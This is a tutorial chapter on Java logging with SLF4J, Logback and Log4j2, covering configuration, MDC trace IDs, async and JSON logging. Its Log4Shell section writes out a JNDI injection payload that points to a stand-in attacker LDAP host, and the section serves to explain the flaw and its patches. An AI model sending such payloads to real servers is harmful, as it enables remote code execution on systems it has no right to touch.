لاگ‌گیری: SLF4J، Logback و Log4j2Logging: SLF4J, Logback & Log4j2

It's three in the morning and your payment service just went down in production. Users are getting errors, money isn't moving, and your phone is ringing. You can't watch the code run — all you can do is follow the trail the program left behind. That trail is the log.

This chapter is the operational heart of any serious system. Logging looks trivial at first — "just print a line" — but behind that simplicity sits a whole ecosystem of architectural decisions, security pitfalls, and performance trade-offs. As always, we grab the idea with a simple analogy first, then learn its technical name, then wire it back to real code.

Part 0 — Why do we log at all?

Let's start with the simplest possible thing. A beginner debugging writes this:

System.out.println("user logged in: " + userId);

It works... until your program becomes real. Then these questions go unanswered:

• When? This line has no timestamp. You don't know what time it happened.
• Which thread? On a server serving hundreds of concurrent requests, you don't know which request this line belongs to.
• How important? Is this a routine message or a catastrophic error? println has no notion of "severity."
• Where does it go? It always prints to the console. You can't say "write this to a file, send that one to the monitoring system."
• How do I turn it off? To silence it you have to change the code and rebuild and redeploy. In production all these messages print together and destroy performance.

Now that we understand why println isn't enough, we have to decide which library to use. And that brings us to the single most important idea in the whole chapter.

Part 1 — Facade vs implementation: the heart of it

This separation has two fundamental concepts:

• Facade: a set of interfaces your code talks to and only to. Your code doesn't know or care which engine runs behind it. SLF4J (short for Simple Logging Facade for Java) is exactly this — just a contract, with no real log-writing logic of its own.
• Implementation: the engine that actually does the work; it timestamps, writes to files, rotates logs, and so on. Logback and Log4j2 are two such engines.

// Your code only touches the SLF4J facade — not Logback and not Log4j2
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class OrderService {
    // one logger per class; static final because it's created once and never changes
    private static final Logger log = LoggerFactory.getLogger(OrderService.class);

    public void place(Order order) {
        log.info("Placing order {}", order.id());
    }
}

Look closely at this code. There's no mention of Logback or Log4j2. If tomorrow you decide to swap your engine from Logback to Log4j2, you don't have to change a single import — you just swap the dependency in Maven/Gradle and you're done. That is the power of the facade.

Meet the two implementations

• Logback: written by the same person who created SLF4J (Ceki Gülcü). It works natively with SLF4J with no adapter, so it's fast and low-friction. The current active line is 1.5.x (e.g. logback-classic 1.5.18), which requires Java 11+ and SLF4J 2.0.1+ at runtime. It's the Spring Boot default.
• Log4j2: a complete rewrite of the old Log4j by the Apache foundation. The current line is 2.24.x. Its strength is extremely high throughput in async mode using the LMAX Disruptor library. For very heavy loads it's often the first choice.

Part 2 — The dependency picture: binding and bridge

This is where many people get confused, so let's go slowly. SLF4J is just a contract; it can't write anything by itself. At runtime, an engine must be bound to it. That connection is called a binding or provider.

For Logback, the dependencies look like this (logback-classic brings a compatible slf4j-api along):

<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-api</artifactId>
    <version>2.0.17</version>
</dependency>
<dependency>
    <groupId>ch.qos.logback</groupId>
    <artifactId>logback-classic</artifactId>
    <version>1.5.18</version>
</dependency>

For Log4j2 as the engine behind SLF4J, you need a "bridge" that carries SLF4J's messages to Log4j2:

<!-- SLF4J facade + SLF4J-to-Log4j2 bridge + Log4j2 core -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-slf4j2-impl</artifactId>  <!-- for SLF4J 2.x; for SLF4J 1.x it must be log4j-slf4j-impl -->
    <version>2.24.3</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.24.3</version>
</dependency>

Part 3 — Parameterized logging: why + is a sin

Now we learn one of the most important professional habits. Compare these two lines:

// BAD: the string is always built, even if DEBUG is off
log.debug("User " + user.getId() + " loaded " + orders.size() + " orders");

// GOOD: with placeholders; the string is built only when DEBUG is on
log.debug("User {} loaded {} orders", user.getId(), orders.size());

Why does this difference matter so much? Let's think like the compiler.

In a real program that runs millions of times in a hot loop with DEBUG off in production, this difference means millions of pointless string builds and pressure on the garbage collector. Parameterized logging drives that cost to zero.

A subtle point: if the last argument is a Throwable (an error/exception), SLF4J cleverly detects it as an exception and prints the full stack trace — no {} needed for it:

try {
    processPayment(order);
} catch (PaymentException e) {
    // order.id() feeds the {}; e is the last argument and prints the whole stack trace
    log.error("Payment failed for order {}", order.id(), e);
}

SLF4J 2.0 fluent API

From SLF4J 2.0 onward there's also a fluent API, great for structured logging with key-value pairs:

log.atInfo()
   .setMessage("Order placed")
   .addKeyValue("orderId", order.id())
   .addKeyValue("amount", order.total())
   .log();

This style becomes especially valuable when we move to JSON logging, because each key-value can map directly to a field in the JSON output.

Part 4 — Log levels: the language of severity

Every log message has a level that says how important it is. The levels have a fixed order, from least to most important:

The key point is this: when you set a logger's level to, say, INFO, that logger prints that level and everything above it. So INFO, WARN, and ERROR print, but DEBUG and TRACE are ignored. This is exactly what lets you be chatty in development and keep only the important stuff in production — without changing a single line of code.

Part 5 — Appenders, Encoders and Layouts: where and how the log goes

So far we've figured out what to log. Now we ask where the log goes and in what shape. Three key terms:

• Appender (in Logback and Log4j2): the log's "destination." One appender means "write to the console," another means "write to this file," a third means "send to the monitoring system." A single logger can be attached to multiple appenders at once.
• Encoder (Logback's term): responsible for turning a log event into the bytes that actually get written — that is, both formatting (which fields, in what order) and serialization. In modern Logback, the encoder replaced the old layout.
• Layout (Log4j2's term): the same formatting concept but in the Log4j2 world. For example PatternLayout or JsonTemplateLayout.

A real Logback config (logback.xml)

<configuration>
    <!-- Destination 1: console -->
    <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
        <encoder>
            <!-- pattern: time, thread, level, logger name, traceId from MDC, message -->
            <pattern>%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} %X{traceId} - %msg%n</pattern>
        </encoder>
    </appender>

    <!-- Destination 2: rolling file -->
    <appender name="FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
        <file>logs/app.log</file>
        <rollingPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy">
            <!-- a new file every day or every 100 MB; compressed with gz -->
            <fileNamePattern>logs/app-%d{yyyy-MM-dd}.%i.log.gz</fileNamePattern>
            <maxFileSize>100MB</maxFileSize>
            <maxHistory>30</maxHistory>       <!-- keep 30 days -->
            <totalSizeCap>3GB</totalSizeCap>  <!-- cap total disk usage -->
        </rollingPolicy>
        <encoder>
            <pattern>%d{ISO8601} [%thread] %-5level %logger - %msg%n</pattern>
        </encoder>
    </appender>

    <!-- log this package with more detail (DEBUG) -->
    <logger name="com.example.payment" level="DEBUG"/>

    <!-- everything else INFO and above, to both destinations -->
    <root level="INFO">
        <appender-ref ref="CONSOLE"/>
        <appender-ref ref="FILE"/>
    </root>
</configuration>

The same config in Log4j2 (log4j2.xml)

<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} %X{traceId} - %msg%n"/>
        </Console>
        <RollingFile name="File" fileName="logs/app.log"
                     filePattern="logs/app-%d{yyyy-MM-dd}-%i.log.gz">
            <PatternLayout pattern="%d{ISO8601} [%t] %-5level %logger - %msg%n"/>
            <Policies>
                <TimeBasedTriggeringPolicy/>
                <SizeBasedTriggeringPolicy size="100MB"/>
            </Policies>
            <DefaultRolloverStrategy max="30"/>
        </RollingFile>
    </Appenders>
    <Loggers>
        <Logger name="com.example.payment" level="debug"/>
        <Root level="info">
            <AppenderRef ref="Console"/>
            <AppenderRef ref="File"/>
        </Root>
    </Loggers>
</Configuration>

Notice how similar the structures are: both have the appender concept, a formatting pattern, a root level, and per-package overrides. Since your Java code is written against SLF4J, switching between the two is just swapping the dependency and the config file — not changing code.

Part 6 — MDC and correlation IDs: tracing one request

Now we reach one of the most practical and widely used tools. Picture the problem: your server serves 500 concurrent requests, all writing into a single log file at once. The logs get interleaved. Now a user says "my order didn't go through." How do you find, among hundreds of thousands of scrambled lines, exactly the lines for that one request?

The technical tool for this is MDC: short for Mapped Diagnostic Context. MDC is a key-value map bound to the current thread (thread-local). Anything you put in the MDC can automatically be printed in every log line that same thread writes — without you having to pass it to every single log call.

The practical pattern: at the start of each HTTP request, generate a unique ID and put it in the MDC; at the end, clear it. With a servlet filter:

import org.slf4j.MDC;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import java.util.UUID;

public class TraceIdFilter implements Filter {

    @Override
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
            throws IOException, ServletException {
        // if an upstream service sent a traceId, keep it (chained tracing)
        String traceId = ((HttpServletRequest) req).getHeader("X-Trace-Id");
        if (traceId == null || traceId.isBlank()) {
            traceId = UUID.randomUUID().toString();
        }
        MDC.put("traceId", traceId);
        try {
            chain.doFilter(req, res); // the whole request runs under this traceId
        } finally {
            MDC.clear(); // CRITICAL: clear so the traceId doesn't leak into the next request on this thread
        }
    }
}

Now, with %X{traceId} in the log pattern, this value prints on every line. Just filter your log tool (Kibana/Grafana Loki) by that traceId and the whole story of that request opens up in front of you.

Map<String, String> parentContext = MDC.getCopyOfContextMap();
executor.submit(() -> {
    if (parentContext != null) MDC.setContextMap(parentContext);
    try {
        log.info("processing in worker thread"); // now it carries the traceId
    } finally {
        MDC.clear();
    }
});

Part 7 — Async logging: speed without stalling

Writing a log to a file or the network is an I/O operation, and I/O is slow. Here's the problem: by default, when your code calls log.info(...), the thread waits until the log is fully written to disk (synchronous). In a high-traffic service, that wait can raise latency.

Two approaches

1) AsyncAppender in Logback — an appender that sits in front of other appenders and uses a BlockingQueue:

<appender name="ASYNC" class="ch.qos.logback.classic.AsyncAppender">
    <queueSize>512</queueSize>            <!-- queue capacity -->
    <discardingThreshold>0</discardingThreshold>  <!-- 0 = never drop any message -->
    <neverBlock>false</neverBlock>        <!-- true = if the queue is full, don't block, drop instead -->
    <appender-ref ref="FILE"/>
</appender>

2) Async Logger in Log4j2 with LMAX Disruptor — this is Log4j2's main strength. Instead of an ordinary lock-based queue, it uses the LMAX Disruptor: a lock-free ring buffer data structure designed for the lowest-latency inter-thread communication. The result is far higher throughput and lower latency than AsyncAppender.

To enable it fully, you set this system property so all loggers become async:

-Dlog4j2.contextSelector=org.apache.logging.log4j.core.async.AsyncLoggerContextSelector

Or in config, you make only specific loggers async:

<Loggers>
    <AsyncLogger name="com.example" level="debug"/>
    <Root level="info">
        <AppenderRef ref="Console"/>
    </Root>
</Loggers>

Recent Log4j2 versions support LMAX Disruptor 4.x (and, for JRE 8 compatibility, keep 3.x), and have made the default wait strategy garbage-free to minimize GC pressure.

Part 8 — Structured (JSON) logging: for the machine, not just the human

Traditional text logs are fine for the human eye, but when you produce terabytes of logs a day and want to search, filter, and alert on them, you need something a machine can read unambiguously. The solution: structured logging as JSON.

Instead of this:

14:03:22.145 [http-1] INFO  OrderService abc-123 - Placing order 5567 amount 249.90

produce this:

{"@timestamp":"2026-07-20T14:03:22.145Z","level":"INFO","logger":"OrderService",
 "thread":"http-1","traceId":"abc-123","message":"Placing order",
 "orderId":5567,"amount":249.90}

Now systems like Elasticsearch/Kibana or Grafana Loki can query directly on the orderId or amount field, with no brittle text regex.

In Logback, this is easy with the popular logstash-logback-encoder library:

<appender name="JSON" class="ch.qos.logback.core.ConsoleAppender">
    <encoder class="net.logstash.logback.encoder.LogstashEncoder"/>
</appender>

And to add custom fields, MDC entries or SLF4J 2.0's fluent addKeyValue map directly to JSON fields. In Log4j2 the equivalent is JsonTemplateLayout.

Part 9 — The Log4Shell lesson: when a logging feature shook the world

What happened? Log4j2 had a feature called lookup: if it saw a string like ${...} inside a log message, it would "interpret" and substitute it. One of these lookups was ${jndi:...}, which through JNDI (Java Naming and Directory Interface) could connect to a remote server and load and execute an object from it.

Now see the disaster. Imagine you have this seemingly innocent line:

// username comes from a request header — meaning the attacker controls it
log.info("Received login attempt from user: {}", username);

If the attacker sets username to this:

${jndi:ldap://attacker.com/exploit}

then a vulnerable Log4j2 would interpret this text as a lookup, connect to the attacker's server, download a malicious class, and execute it. So an attacker could run arbitrary code on your server just by filling in a login form field or a User-Agent. Because almost every Java system used Log4j and user input was logged almost everywhere, this bug became a global nightmare within hours.

The chain of patches (a lesson in hasty fixes)

• 2.15.0: disabled message lookups by default and restricted JNDI — but it was insufficient (CVE-2021-45046).
• 2.16.0: completely removed message lookups and disabled JNDI by default.
• 2.17.0: closed another DoS vulnerability (CVE-2021-45105).
• 2.17.1: closed the last hole in the family (CVE-2021-44832, RCE via a malicious JDBC Appender config).

Part 10 — Performance and practical wrap-up

A few practical principles an experienced engineer follows:

• Always use parameterized logging ({}) instead of string concatenation.
• Choose the right level: keep DEBUG off in production; excessive logging hurts both performance and readability.
• For hot loops where building arguments is expensive, guard with if (log.isDebugEnabled()) (though parameterized logging usually makes this unnecessary).
• Consider async logging for high throughput, but be aware of the possible cost of losing logs on a crash.
• Make JSON logging + trace ID the default for any system that's serious about production.
• Never log sensitive data (passwords, tokens, card numbers, personal info) — logs are usually long-lived, widely accessible, and leak easily.

Comparison table: Logback vs Log4j2

Part 11 — Interview Q&A